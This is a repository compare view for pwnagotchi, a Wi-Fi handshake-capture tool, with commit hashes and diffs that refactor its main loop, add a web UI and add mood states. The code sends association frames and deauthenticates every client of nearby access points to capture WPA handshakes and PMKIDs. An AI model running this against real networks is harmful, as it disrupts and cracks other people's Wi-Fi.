Compare commits
228 Commits
Author | SHA1 | Date | |
---|---|---|---|
|
785d678e30 | ||
|
9c8784e533 | ||
|
fd288b4acd | ||
|
b704614254 | ||
|
2dc36651df | ||
|
d8d6d52eda | ||
|
43c5ab7ecf | ||
|
de62424dbc | ||
|
8c51936c13 | ||
|
87e46610f9 | ||
|
a96dead519 | ||
|
8ed2950eb5 | ||
|
6f8133b2b8 | ||
|
16afa87112 | ||
|
ed22343877 | ||
|
c70f2c30e9 | ||
|
5111490c70 | ||
|
59ae35372e | ||
|
5f593a4231 | ||
|
56cc872daa | ||
|
6e1490da78 | ||
|
69597103b5 | ||
|
96ca5dd8e3 | ||
|
3efa3a935a | ||
|
39ccd141eb | ||
|
1a30b52a90 | ||
|
8965ad9272 | ||
|
5dae0ce982 | ||
|
92266a783a | ||
|
9e656d4ea6 | ||
|
1d255b577d | ||
|
1ff14c05a9 | ||
|
ab63ecccd7 | ||
|
a7e37115d9 | ||
|
b1d8aa3ba1 | ||
|
6e26463278 | ||
|
7261073073 | ||
|
a02c1d6d92 | ||
|
40caf3f51a | ||
|
21f1273bd8 | ||
|
a8c07ba997 | ||
|
6bd09c7f43 | ||
|
1830a19b37 | ||
|
9dcc647656 | ||
|
8fcfd4cafd | ||
|
369d7a65a8 | ||
|
d7ad8ee0d7 | ||
|
a5f9b9b2ee | ||
|
b266671864 | ||
|
c47b8f2d11 | ||
|
8129fb7dd2 | ||
|
c16cabc852 | ||
|
9a7de86057 | ||
|
440f2a470a | ||
|
81a89d43e0 | ||
|
91b409053b | ||
|
df01a03a4b | ||
|
e2be21004d | ||
|
0f3d9db01d | ||
|
19abc17816 | ||
|
4b9ebc2512 | ||
|
41a3fad43e | ||
|
f4b886cf7b | ||
|
0eb8e1829e | ||
|
52b40f049e | ||
|
3df35ef03b | ||
|
e87bcc4744 | ||
|
dfd534ac41 | ||
|
0b2c156d29 | ||
|
14064c3b5b | ||
|
313fd66634 | ||
|
c939af4248 | ||
|
e934181606 | ||
|
2505cbf14c | ||
|
b2c6de72cd | ||
|
307b3890f1 | ||
|
b9a909de2b | ||
|
b180f16aa6 | ||
|
2d517e3de5 | ||
|
a1746da7f1 | ||
|
1a1a70d6e8 | ||
|
229e2671e8 | ||
|
a2ac679499 | ||
|
d7e1c59709 | ||
|
a5ed09cd08 | ||
|
8c83f8129c | ||
|
7ca1168fed | ||
|
d41e5c1152 | ||
|
25eee18e7b | ||
|
38144a7abb | ||
|
1f17d3cbbe | ||
|
1da59b50b4 | ||
|
1130c72098 | ||
|
6b99deb7bd | ||
|
c3ed3509e9 | ||
|
e3a2e8c811 | ||
|
89046bf0c5 | ||
|
4cc61322de | ||
|
94521f2174 | ||
|
b50acd364c | ||
|
9bc7fcccb3 | ||
|
bd61196c3c | ||
|
186042aa20 | ||
|
78bf801273 | ||
|
89450ec1bd | ||
|
09f80cc842 | ||
|
fcb5c87ef0 | ||
|
bf0e480266 | ||
|
fce57ad8eb | ||
|
425fe7e55a | ||
|
5760864495 | ||
|
3d9c559cdb | ||
|
97a019fe25 | ||
|
8d5834232b | ||
|
ebc161e82f | ||
|
9485e53484 | ||
|
0d66f93ef3 | ||
|
ad80fab554 | ||
|
b7380018f1 | ||
|
2ea8e7fe6b | ||
|
e23e1affae | ||
|
8d8333b586 | ||
|
5712f5cd51 | ||
|
9cc15403c3 | ||
|
15fa7039e8 | ||
|
f83c820b38 | ||
|
323c9a74cc | ||
|
8a2d6eac9d | ||
|
61d8e28aad | ||
|
337ebd6f9f | ||
|
399dbf2b41 | ||
|
f952bcd298 | ||
|
9dc7c92c86 | ||
|
9e92201d82 | ||
|
4e592df6d8 | ||
|
403ee242a6 | ||
|
106d72c4a2 | ||
|
5ddc2d7080 | ||
|
52f1111a5b | ||
|
346773f790 | ||
|
9264b837c8 | ||
|
81032fe5e3 | ||
|
2aa73d1a7e | ||
|
b796384345 | ||
|
a6ca99c693 | ||
|
60d9fd46ae | ||
|
de71d18a72 | ||
|
aba5b938bc | ||
|
0830e0c74b | ||
|
cf8a4da9e7 | ||
|
80e2cdcd8d | ||
|
a5cfb9aa8b | ||
|
62a0cc6276 | ||
|
f8523eb382 | ||
|
58b0b0fea0 | ||
|
bdf585afe5 | ||
|
b7d1c82788 | ||
|
74838d6b96 | ||
|
7fc46ddcf6 | ||
|
4503e71bfb | ||
|
11fb95d299 | ||
|
0aaeeb8011 | ||
|
3e1f3d5eec | ||
|
86a3443b8d | ||
|
806efa1fc2 | ||
|
537519dea6 | ||
|
0c1d98f2ab | ||
|
4852b3f59e | ||
|
364af70ad5 | ||
|
e336fca0de | ||
|
00e7c04980 | ||
|
2549433e34 | ||
|
9f9fca02e5 | ||
|
6945e260bd | ||
|
c21986488d | ||
|
b52ceae2ee | ||
|
19fc25d508 | ||
|
ba22b7d5d7 | ||
|
59019efad0 | ||
|
20aa0d1909 | ||
|
c56c6bb8f5 | ||
|
1e426f7411 | ||
|
aeb6002e10 | ||
|
dc2362c371 | ||
|
d6c0ec0dfd | ||
|
04e551600d | ||
|
62983dfea5 | ||
|
b2c812d05d | ||
|
7ba9b35d06 | ||
|
b4b14ba9fd | ||
|
1ba3a69651 | ||
|
0aef199131 | ||
|
ace61836e5 | ||
|
d04f124add | ||
|
bc1db7ceea | ||
|
fd506b1533 | ||
|
6c44a687b1 | ||
|
a2bb66ad57 | ||
|
61af8b4762 | ||
|
9b58fed862 | ||
|
53ae8ea1cf | ||
|
5b66d687c4 | ||
|
4b74de48bf | ||
|
22e76f956c | ||
|
4418492637 | ||
|
31a89cbe4b | ||
|
d91f49d596 | ||
|
66dc03ec05 | ||
|
2f948306eb | ||
|
ae330dc0b5 | ||
|
e06f2a32e8 | ||
|
e184176ae4 | ||
|
1827ee564c | ||
|
bfdaffa14b | ||
|
53f99f4c28 | ||
|
3efa96b292 | ||
|
8118a10a6a | ||
|
bd63f71a1d | ||
|
31d401e03b | ||
|
205480bc38 | ||
|
d2726c1a14 | ||
|
1c9a25d22a | ||
|
e9494992fc | ||
|
cc7299153c | ||
|
a27f09871f | ||
|
ddc264bbb9 | ||
|
f0092ff154 | ||
|
ed0df18f68 |
7
.editorconfig
Normal file
@@ -0,0 +1,7 @@
|
||||
# top-most EditorConfig file
|
||||
root = true
|
||||
|
||||
# Matches the exact files either package.json or .travis.yml
|
||||
[{*.yml,*.yaml,config.yml,defaults.yml}]
|
||||
indent_style = space
|
||||
indent_size = 2
|
2
.gitignore
vendored
@@ -15,3 +15,5 @@ output-pwnagotchi
|
||||
build
|
||||
dist
|
||||
pwnagotchi.egg-info
|
||||
*backup*.tgz
|
||||
*backup*.gz
|
||||
|
@@ -6,3 +6,4 @@ include LICENSE
|
||||
recursive-include bin *
|
||||
recursive-include pwnagotchi *.py
|
||||
recursive-include pwnagotchi *.yml
|
||||
recursive-include pwnagotchi *.*
|
||||
|
@@ -6,6 +6,7 @@
|
||||
<a href="https://github.com/evilsocket/pwnagotchi/graphs/contributors"><img alt="Contributors" src="https://img.shields.io/github/contributors/evilsocket/pwnagotchi"/></a>
|
||||
<a href="https://travis-ci.org/evilsocket/pwnagotchi"><img alt="Travis" src="https://img.shields.io/travis/evilsocket/pwnagotchi/master.svg?style=flat-square"></a>
|
||||
<a href="https://invite.pwnagotchi.ai/"><img alt="Slack" src="https://invite.pwnagotchi.ai/badge.svg"></a>
|
||||
<a href="https://community.pwnagotchi.ai/"><img alt="Forum" src="https://img.shields.io/discourse/posts?server=https%3A%2F%2Fcommunity.pwnagotchi.ai%2F&style=flat-square"></a>
|
||||
<a href="https://twitter.com/intent/follow?screen_name=pwnagotchi"><img src="https://img.shields.io/twitter/follow/pwnagotchi?style=social&logo=twitter" alt="follow on Twitter"></a>
|
||||
</p>
|
||||
|
||||
@@ -30,10 +31,11 @@ https://www.pwnagotchi.ai
|
||||
|
||||
| Official Links
|
||||
---------|-------
|
||||
Slack | [pwnagotchi.slack.com](https://invite.pwnagotchi.ai/)
|
||||
Twitter | [@pwnagotchi](https://twitter.com/pwnagotchi)
|
||||
Subreddit | [r/pwnagotchi](https://www.reddit.com/r/pwnagotchi/)
|
||||
Website | [pwnagotchi.ai](https://pwnagotchi.ai/)
|
||||
Forum | [community.pwnagotchi.ai](https://community.pwnagotchi.ai/)
|
||||
Slack | [pwnagotchi.slack.com](https://invite.pwnagotchi.ai/)
|
||||
Subreddit | [r/pwnagotchi](https://www.reddit.com/r/pwnagotchi/)
|
||||
Twitter | [@pwnagotchi](https://twitter.com/pwnagotchi)
|
||||
|
||||
## License
|
||||
|
||||
|
190
bin/pwnagotchi
@@ -1,19 +1,91 @@
|
||||
#!/usr/bin/python3
|
||||
import logging
|
||||
import argparse
|
||||
import time
|
||||
import yaml
|
||||
|
||||
import pwnagotchi
|
||||
import pwnagotchi.grid as grid
|
||||
import pwnagotchi.utils as utils
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
from pwnagotchi.identity import KeyPair
|
||||
from pwnagotchi.agent import Agent
|
||||
from pwnagotchi.ui.display import Display
|
||||
|
||||
|
||||
def do_clear(display):
|
||||
logging.info("clearing the display ...")
|
||||
display.clear()
|
||||
exit(0)
|
||||
|
||||
|
||||
def do_manual_mode(agent):
|
||||
logging.info("entering manual mode ...")
|
||||
|
||||
agent.mode = 'manual'
|
||||
agent.last_session.parse(agent.view(), args.skip_session)
|
||||
if not args.skip_session:
|
||||
logging.info(
|
||||
"the last session lasted %s (%d completed epochs, trained for %d), average reward:%s (min:%s max:%s)" % (
|
||||
agent.last_session.duration_human,
|
||||
agent.last_session.epochs,
|
||||
agent.last_session.train_epochs,
|
||||
agent.last_session.avg_reward,
|
||||
agent.last_session.min_reward,
|
||||
agent.last_session.max_reward))
|
||||
|
||||
while True:
|
||||
display.on_manual_mode(agent.last_session)
|
||||
time.sleep(5)
|
||||
if grid.is_connected():
|
||||
plugins.on('internet_available', agent)
|
||||
|
||||
|
||||
def do_auto_mode(agent):
|
||||
logging.info("entering auto mode ...")
|
||||
|
||||
agent.mode = 'auto'
|
||||
agent.start()
|
||||
|
||||
while True:
|
||||
try:
|
||||
# recon on all channels
|
||||
agent.recon()
|
||||
# get nearby access points grouped by channel
|
||||
channels = agent.get_access_points_by_channel()
|
||||
# for each channel
|
||||
for ch, aps in channels:
|
||||
agent.set_channel(ch)
|
||||
|
||||
if not agent.is_stale() and agent.any_activity():
|
||||
logging.info("%d access points on channel %d" % (len(aps), ch))
|
||||
|
||||
# for each ap on this channel
|
||||
for ap in aps:
|
||||
# send an association frame in order to get for a PMKID
|
||||
agent.associate(ap)
|
||||
# deauth all client stations in order to get a full handshake
|
||||
for sta in ap['clients']:
|
||||
agent.deauth(ap, sta)
|
||||
|
||||
# An interesting effect of this:
|
||||
#
|
||||
# From Pwnagotchi's perspective, the more new access points
|
||||
# and / or client stations nearby, the longer one epoch of
|
||||
# its relative time will take ... basically, in Pwnagotchi's universe,
|
||||
# WiFi electromagnetic fields affect time like gravitational fields
|
||||
# affect ours ... neat ^_^
|
||||
agent.next_epoch()
|
||||
|
||||
if grid.is_connected():
|
||||
plugins.on('internet_available', agent)
|
||||
|
||||
except Exception as e:
|
||||
logging.exception("main loop exception")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
import argparse
|
||||
import time
|
||||
import logging
|
||||
import yaml
|
||||
|
||||
import pwnagotchi
|
||||
import pwnagotchi.grid as grid
|
||||
import pwnagotchi.utils as utils
|
||||
import pwnagotchi.plugins as plugins
|
||||
|
||||
from pwnagotchi.identity import KeyPair
|
||||
from pwnagotchi.agent import Agent
|
||||
from pwnagotchi.ui.display import Display
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('-C', '--config', action='store', dest='config', default='/etc/pwnagotchi/default.yml',
|
||||
@@ -31,8 +103,23 @@ if __name__ == '__main__':
|
||||
parser.add_argument('--debug', dest="debug", action="store_true", default=False,
|
||||
help="Enable debug logs.")
|
||||
|
||||
parser.add_argument('--version', dest="version", action="store_true", default=False,
|
||||
help="Print the version.")
|
||||
|
||||
parser.add_argument('--print-config', dest="print_config", action="store_true", default=False,
|
||||
help="Print the configuration.")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.version:
|
||||
print(pwnagotchi.version)
|
||||
exit(0)
|
||||
|
||||
config = utils.load_config(args)
|
||||
if args.print_config:
|
||||
print(yaml.dump(config, default_flow_style=False))
|
||||
exit(0)
|
||||
|
||||
utils.setup_logging(args, config)
|
||||
|
||||
pwnagotchi.set_name(config['main']['name'])
|
||||
@@ -40,77 +127,14 @@ if __name__ == '__main__':
|
||||
plugins.load(config)
|
||||
|
||||
display = Display(config=config, state={'name': '%s>' % pwnagotchi.name()})
|
||||
keypair = KeyPair(view=display)
|
||||
agent = Agent(view=display, config=config, keypair=keypair)
|
||||
|
||||
logging.info("%s@%s (v%s)" % (pwnagotchi.name(), agent.fingerprint(), pwnagotchi.version))
|
||||
|
||||
logging.debug("effective configuration:\n\n%s\n\n" % yaml.dump(config, default_flow_style=False))
|
||||
|
||||
for _, plugin in plugins.loaded.items():
|
||||
logging.debug("plugin '%s' v%s loaded from %s" % (plugin.__name__, plugin.__version__, plugin.__file__))
|
||||
|
||||
if args.do_clear:
|
||||
logging.info("clearing the display ...")
|
||||
display.clear()
|
||||
do_clear(display)
|
||||
exit(0)
|
||||
|
||||
elif args.do_manual:
|
||||
logging.info("entering manual mode ...")
|
||||
|
||||
agent.last_session.parse(agent.view(), args.skip_session)
|
||||
if not args.skip_session:
|
||||
logging.info(
|
||||
"the last session lasted %s (%d completed epochs, trained for %d), average reward:%s (min:%s max:%s)" % (
|
||||
agent.last_session.duration_human,
|
||||
agent.last_session.epochs,
|
||||
agent.last_session.train_epochs,
|
||||
agent.last_session.avg_reward,
|
||||
agent.last_session.min_reward,
|
||||
agent.last_session.max_reward))
|
||||
|
||||
while True:
|
||||
display.on_manual_mode(agent.last_session)
|
||||
time.sleep(5)
|
||||
if grid.is_connected():
|
||||
plugins.on('internet_available', agent)
|
||||
agent = Agent(view=display, config=config, keypair=KeyPair(view=display))
|
||||
|
||||
if args.do_manual:
|
||||
do_manual_mode(agent)
|
||||
else:
|
||||
logging.info("entering auto mode ...")
|
||||
|
||||
agent.start()
|
||||
|
||||
while True:
|
||||
try:
|
||||
# recon on all channels
|
||||
agent.recon()
|
||||
# get nearby access points grouped by channel
|
||||
channels = agent.get_access_points_by_channel()
|
||||
# for each channel
|
||||
for ch, aps in channels:
|
||||
agent.set_channel(ch)
|
||||
|
||||
if not agent.is_stale() and agent.any_activity():
|
||||
logging.info("%d access points on channel %d" % (len(aps), ch))
|
||||
|
||||
# for each ap on this channel
|
||||
for ap in aps:
|
||||
# send an association frame in order to get for a PMKID
|
||||
agent.associate(ap)
|
||||
# deauth all client stations in order to get a full handshake
|
||||
for sta in ap['clients']:
|
||||
agent.deauth(ap, sta)
|
||||
|
||||
# An interesting effect of this:
|
||||
#
|
||||
# From Pwnagotchi's perspective, the more new access points
|
||||
# and / or client stations nearby, the longer one epoch of
|
||||
# its relative time will take ... basically, in Pwnagotchi's universe,
|
||||
# WiFi electromagnetic fields affect time like gravitational fields
|
||||
# affect ours ... neat ^_^
|
||||
agent.next_epoch()
|
||||
|
||||
if grid.is_connected():
|
||||
plugins.on('internet_available', agent)
|
||||
|
||||
except Exception as e:
|
||||
logging.exception("main loop exception")
|
||||
do_auto_mode(agent)
|
||||
|
@@ -4,7 +4,7 @@ source /usr/bin/pwnlib
|
||||
# start mon0
|
||||
start_monitor_interface
|
||||
|
||||
if is_auto_mode; then
|
||||
if is_auto_mode_no_delete; then
|
||||
/usr/bin/bettercap -no-colors -caplet pwnagotchi-auto -iface mon0
|
||||
else
|
||||
/usr/bin/bettercap -no-colors -caplet pwnagotchi-manual -iface mon0
|
||||
|
33
builder/data/usr/bin/pwnlib
Normal file → Executable file
@@ -32,6 +32,13 @@ is_interface_up() {
|
||||
|
||||
# returns 0 if conditions for AUTO mode are met
|
||||
is_auto_mode() {
|
||||
# check override file first
|
||||
if [ -f /root/.pwnagotchi-manual ]; then
|
||||
# remove the override file if found
|
||||
rm -rf /root/.pwnagotchi-manual
|
||||
return 1
|
||||
fi
|
||||
|
||||
# check override file first
|
||||
if [ -f /root/.pwnagotchi-auto ]; then
|
||||
# remove the override file if found
|
||||
@@ -52,3 +59,29 @@ is_auto_mode() {
|
||||
# no override, but none of the interfaces is up -> AUTO
|
||||
return 0
|
||||
}
|
||||
|
||||
# returns 0 if conditions for AUTO mode are met
|
||||
is_auto_mode_no_delete() {
|
||||
# check override file first
|
||||
if [ -f /root/.pwnagotchi-manual ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
# check override file first
|
||||
if [ -f /root/.pwnagotchi-auto ]; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
# if usb0 is up, we're in MANU
|
||||
if is_interface_up usb0; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
# if eth0 is up (for other boards), we're in MANU
|
||||
if is_interface_up eth0; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
# no override, but none of the interfaces is up -> AUTO
|
||||
return 0
|
||||
}
|
@@ -89,6 +89,12 @@
|
||||
"source": "data/etc/systemd/system/bettercap.service",
|
||||
"destination": "/etc/systemd/system/bettercap.service"
|
||||
},
|
||||
{
|
||||
"type": "shell",
|
||||
"inline": [
|
||||
"chmod +x /usr/bin/*"
|
||||
]
|
||||
},
|
||||
{
|
||||
"type": "ansible-local",
|
||||
"playbook_file": "pwnagotchi.yml",
|
||||
|
@@ -23,6 +23,7 @@
|
||||
- bettercap.service
|
||||
- pwngrid-peer.service
|
||||
- epd-fuse.service
|
||||
- fstrim.timer
|
||||
disable:
|
||||
- apt-daily.timer
|
||||
- apt-daily.service
|
||||
@@ -99,6 +100,9 @@
|
||||
- bc
|
||||
- fonts-freefont-ttf
|
||||
- fbi
|
||||
- python3-flask
|
||||
- python3-flask-cors
|
||||
- python3-flaskext.wtf
|
||||
|
||||
tasks:
|
||||
- name: change hostname
|
||||
|
@@ -6,7 +6,7 @@ import re
|
||||
import pwnagotchi.ui.view as view
|
||||
import pwnagotchi
|
||||
|
||||
version = '1.1.1'
|
||||
version = '1.3.0'
|
||||
|
||||
_name = None
|
||||
|
||||
@@ -103,12 +103,39 @@ def shutdown():
|
||||
if view.ROOT:
|
||||
view.ROOT.on_shutdown()
|
||||
# give it some time to refresh the ui
|
||||
time.sleep(5)
|
||||
time.sleep(10)
|
||||
os.system("sync")
|
||||
os.system("halt")
|
||||
|
||||
|
||||
def reboot():
|
||||
logging.warning("rebooting ...")
|
||||
def restart(mode):
|
||||
logging.warning("restarting in %s mode ..." % mode)
|
||||
|
||||
if mode == 'AUTO':
|
||||
os.system("touch /root/.pwnagotchi-auto")
|
||||
else:
|
||||
os.system("touch /root/.pwnagotchi-manual")
|
||||
|
||||
os.system("service bettercap restart")
|
||||
os.system("service pwnagotchi restart")
|
||||
|
||||
|
||||
def reboot(mode=None):
|
||||
if mode is not None:
|
||||
mode = mode.upper()
|
||||
logging.warning("rebooting in %s mode ..." % mode)
|
||||
else:
|
||||
logging.warning("rebooting ...")
|
||||
|
||||
if view.ROOT:
|
||||
view.ROOT.on_rebooting()
|
||||
# give it some time to refresh the ui
|
||||
time.sleep(10)
|
||||
|
||||
if mode == 'AUTO':
|
||||
os.system("touch /root/.pwnagotchi-auto")
|
||||
elif mode == 'MANU':
|
||||
os.system("touch /root/.pwnagotchi-manual")
|
||||
|
||||
os.system("sync")
|
||||
os.system("shutdown -r now")
|
||||
|
@@ -8,6 +8,7 @@ import _thread
|
||||
import pwnagotchi
|
||||
import pwnagotchi.utils as utils
|
||||
import pwnagotchi.plugins as plugins
|
||||
from pwnagotchi.ui.web.server import Server
|
||||
from pwnagotchi.automata import Automata
|
||||
from pwnagotchi.log import LastSession
|
||||
from pwnagotchi.bettercap import Client
|
||||
@@ -31,18 +32,27 @@ class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer):
|
||||
self._started_at = time.time()
|
||||
self._filter = None if config['main']['filter'] is None else re.compile(config['main']['filter'])
|
||||
self._current_channel = 0
|
||||
self._tot_aps = 0
|
||||
self._aps_on_channel = 0
|
||||
self._supported_channels = utils.iface_channels(config['main']['iface'])
|
||||
self._view = view
|
||||
self._view.set_agent(self)
|
||||
self._web_ui = Server(self, config['ui'])
|
||||
|
||||
self._access_points = []
|
||||
self._last_pwnd = None
|
||||
self._history = {}
|
||||
self._handshakes = {}
|
||||
self.last_session = LastSession(self._config)
|
||||
self.mode = 'auto'
|
||||
|
||||
if not os.path.exists(config['bettercap']['handshakes']):
|
||||
os.makedirs(config['bettercap']['handshakes'])
|
||||
|
||||
logging.info("%s@%s (v%s)" % (pwnagotchi.name(), self.fingerprint(), pwnagotchi.version))
|
||||
for _, plugin in plugins.loaded.items():
|
||||
logging.debug("plugin '%s' v%s" % (plugin.__class__.__name__, plugin.__version__))
|
||||
|
||||
def config(self):
|
||||
return self._config
|
||||
|
||||
@@ -172,7 +182,9 @@ class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer):
|
||||
for ap in s['wifi']['aps']:
|
||||
if ap['encryption'] == '' or ap['encryption'] == 'OPEN':
|
||||
continue
|
||||
elif ap['hostname'] not in whitelist:
|
||||
elif ap['hostname'] not in whitelist \
|
||||
and ap['mac'].lower() not in whitelist \
|
||||
and ap['mac'][:8].lower() not in whitelist:
|
||||
if self._filter_included(ap):
|
||||
aps.append(ap)
|
||||
except Exception as e:
|
||||
@@ -181,6 +193,15 @@ class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer):
|
||||
aps.sort(key=lambda ap: ap['channel'])
|
||||
return self.set_access_points(aps)
|
||||
|
||||
def get_total_aps(self):
|
||||
return self._tot_aps
|
||||
|
||||
def get_aps_on_channel(self):
|
||||
return self._aps_on_channel
|
||||
|
||||
def get_current_channel(self):
|
||||
return self._current_channel
|
||||
|
||||
def get_access_points_by_channel(self):
|
||||
aps = self.get_access_points()
|
||||
channels = self._config['personality']['channels']
|
||||
@@ -217,16 +238,16 @@ class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer):
|
||||
# self._view.set('epoch', '%04d' % self._epoch.epoch)
|
||||
|
||||
def _update_counters(self):
|
||||
tot_aps = len(self._access_points)
|
||||
self._tot_aps = len(self._access_points)
|
||||
tot_stas = sum(len(ap['clients']) for ap in self._access_points)
|
||||
if self._current_channel == 0:
|
||||
self._view.set('aps', '%d' % tot_aps)
|
||||
self._view.set('aps', '%d' % self._tot_aps)
|
||||
self._view.set('sta', '%d' % tot_stas)
|
||||
else:
|
||||
aps_on_channel = len([ap for ap in self._access_points if ap['channel'] == self._current_channel])
|
||||
self._aps_on_channel = len([ap for ap in self._access_points if ap['channel'] == self._current_channel])
|
||||
stas_on_channel = sum(
|
||||
[len(ap['clients']) for ap in self._access_points if ap['channel'] == self._current_channel])
|
||||
self._view.set('aps', '%d (%d)' % (aps_on_channel, tot_aps))
|
||||
self._view.set('aps', '%d (%d)' % (self._aps_on_channel, self._tot_aps))
|
||||
self._view.set('sta', '%d (%d)' % (stas_on_channel, tot_stas))
|
||||
|
||||
def _update_handshakes(self, new_shakes=0):
|
||||
@@ -320,10 +341,12 @@ class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer):
|
||||
(ap, sta) = ap_and_station
|
||||
self._last_pwnd = ap['hostname'] if ap['hostname'] != '' and ap[
|
||||
'hostname'] != '<hidden>' else ap_mac
|
||||
logging.warning("!!! captured new handshake on channel %d: %s (%s) -> %s [%s (%s)] !!!" % ( \
|
||||
ap['channel'],
|
||||
sta['mac'], sta['vendor'],
|
||||
ap['hostname'], ap['mac'], ap['vendor']))
|
||||
logging.warning(
|
||||
"!!! captured new handshake on channel %d, %d dBm: %s (%s) -> %s [%s (%s)] !!!" % (
|
||||
ap['channel'],
|
||||
ap['rssi'],
|
||||
sta['mac'], sta['vendor'],
|
||||
ap['hostname'], ap['mac'], ap['vendor']))
|
||||
plugins.on('handshake', self, filename, ap, sta)
|
||||
|
||||
except Exception as e:
|
||||
@@ -376,8 +399,8 @@ class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer):
|
||||
self._view.on_assoc(ap)
|
||||
|
||||
try:
|
||||
logging.info("sending association frame to %s (%s %s) on channel %d [%d clients]..." % ( \
|
||||
ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], len(ap['clients'])))
|
||||
logging.info("sending association frame to %s (%s %s) on channel %d [%d clients], %d dBm..." % ( \
|
||||
ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], len(ap['clients']), ap['rssi']))
|
||||
self.run('wifi.assoc %s' % ap['mac'])
|
||||
self._epoch.track(assoc=True)
|
||||
except Exception as e:
|
||||
@@ -397,8 +420,8 @@ class Agent(Client, Automata, AsyncAdvertiser, AsyncTrainer):
|
||||
self._view.on_deauth(sta)
|
||||
|
||||
try:
|
||||
logging.info("deauthing %s (%s) from %s (%s %s) on channel %d ..." % (
|
||||
sta['mac'], sta['vendor'], ap['hostname'], ap['mac'], ap['vendor'], ap['channel']))
|
||||
logging.info("deauthing %s (%s) from %s (%s %s) on channel %d, %d dBm ..." % (
|
||||
sta['mac'], sta['vendor'], ap['hostname'], ap['mac'], ap['vendor'], ap['channel'], ap['rssi']))
|
||||
self.run('wifi.deauth %s' % sta['mac'])
|
||||
self._epoch.track(deauth=True)
|
||||
except Exception as e:
|
||||
|
@@ -4,31 +4,37 @@ import pwnagotchi.mesh.wifi as wifi
|
||||
|
||||
MAX_EPOCH_DURATION = 1024
|
||||
|
||||
histogram_size = wifi.NumChannels
|
||||
|
||||
shape = (1,
|
||||
# aps per channel
|
||||
histogram_size +
|
||||
# clients per channel
|
||||
histogram_size +
|
||||
# peers per channel
|
||||
histogram_size +
|
||||
# duration
|
||||
1 +
|
||||
# inactive
|
||||
1 +
|
||||
# active
|
||||
1 +
|
||||
# missed
|
||||
1 +
|
||||
# hops
|
||||
1 +
|
||||
# deauths
|
||||
1 +
|
||||
# assocs
|
||||
1 +
|
||||
# handshakes
|
||||
1)
|
||||
def describe(extended=False):
|
||||
if not extended:
|
||||
histogram_size = wifi.NumChannels
|
||||
else:
|
||||
# see https://github.com/evilsocket/pwnagotchi/issues/583
|
||||
histogram_size = wifi.NumChannelsExt
|
||||
|
||||
return histogram_size, (1,
|
||||
# aps per channel
|
||||
histogram_size +
|
||||
# clients per channel
|
||||
histogram_size +
|
||||
# peers per channel
|
||||
histogram_size +
|
||||
# duration
|
||||
1 +
|
||||
# inactive
|
||||
1 +
|
||||
# active
|
||||
1 +
|
||||
# missed
|
||||
1 +
|
||||
# hops
|
||||
1 +
|
||||
# deauths
|
||||
1 +
|
||||
# assocs
|
||||
1 +
|
||||
# handshakes
|
||||
1)
|
||||
|
||||
|
||||
def featurize(state, step):
|
||||
|
@@ -34,10 +34,14 @@ class Environment(gym.Env):
|
||||
self._epoch_num = 0
|
||||
self._last_render = None
|
||||
|
||||
channels = agent.supported_channels()
|
||||
# see https://github.com/evilsocket/pwnagotchi/issues/583
|
||||
self._supported_channels = agent.supported_channels()
|
||||
self._extended_spectrum = any(ch > 140 for ch in self._supported_channels)
|
||||
self._histogram_size, self._observation_shape = featurizer.describe(self._extended_spectrum)
|
||||
|
||||
Environment.params += [
|
||||
Parameter('_channel_%d' % ch, min_value=0, max_value=1, meta=ch + 1) for ch in
|
||||
range(featurizer.histogram_size) if ch + 1 in channels
|
||||
range(self._histogram_size) if ch + 1 in self._supported_channels
|
||||
]
|
||||
|
||||
self.last = {
|
||||
@@ -50,7 +54,7 @@ class Environment(gym.Env):
|
||||
}
|
||||
|
||||
self.action_space = spaces.MultiDiscrete([p.space_size() for p in Environment.params if p.trainable])
|
||||
self.observation_space = spaces.Box(low=0, high=1, shape=featurizer.shape, dtype=np.float32)
|
||||
self.observation_space = spaces.Box(low=0, high=1, shape=self._observation_shape, dtype=np.float32)
|
||||
self.reward_range = reward.range
|
||||
|
||||
@staticmethod
|
||||
@@ -118,7 +122,7 @@ class Environment(gym.Env):
|
||||
return self.last['state_v']
|
||||
|
||||
def _render_histogram(self, hist):
|
||||
for ch in range(featurizer.histogram_size):
|
||||
for ch in range(self._histogram_size):
|
||||
if hist[ch]:
|
||||
logging.info(" CH %d: %s" % (ch + 1, hist[ch]))
|
||||
|
||||
|
@@ -75,6 +75,15 @@ class Automata(object):
|
||||
logging.info("unit is grateful instead of sad")
|
||||
self.set_grateful()
|
||||
|
||||
def set_angry(self, factor):
|
||||
if not self._has_support_network_for(factor):
|
||||
logging.warning("%d epochs with no activity -> angry" % self._epoch.inactive_for)
|
||||
self._view.on_angry()
|
||||
plugins.on('angry', self)
|
||||
else:
|
||||
logging.info("unit is grateful instead of angry")
|
||||
self.set_grateful()
|
||||
|
||||
def set_excited(self):
|
||||
logging.warning("%d epochs with activity -> excited" % self._epoch.active_for)
|
||||
self._view.on_excited()
|
||||
@@ -103,13 +112,21 @@ class Automata(object):
|
||||
|
||||
self._epoch.next()
|
||||
|
||||
# after X misses during an epoch, set the status to lonely
|
||||
# after X misses during an epoch, set the status to lonely or angry
|
||||
if was_stale:
|
||||
logging.warning("agent missed %d interactions -> lonely" % did_miss)
|
||||
self.set_lonely()
|
||||
# after X times being bored, the status is set to sad
|
||||
factor = did_miss / self._config['personality']['max_misses_for_recon']
|
||||
if factor >= 2.0:
|
||||
self.set_angry(factor)
|
||||
else:
|
||||
logging.warning("agent missed %d interactions -> lonely" % did_miss)
|
||||
self.set_lonely()
|
||||
# after X times being bored, the status is set to sad or angry
|
||||
elif self._epoch.inactive_for >= self._config['personality']['sad_num_epochs']:
|
||||
self.set_sad()
|
||||
factor = self._epoch.inactive_for / self._config['personality']['sad_num_epochs']
|
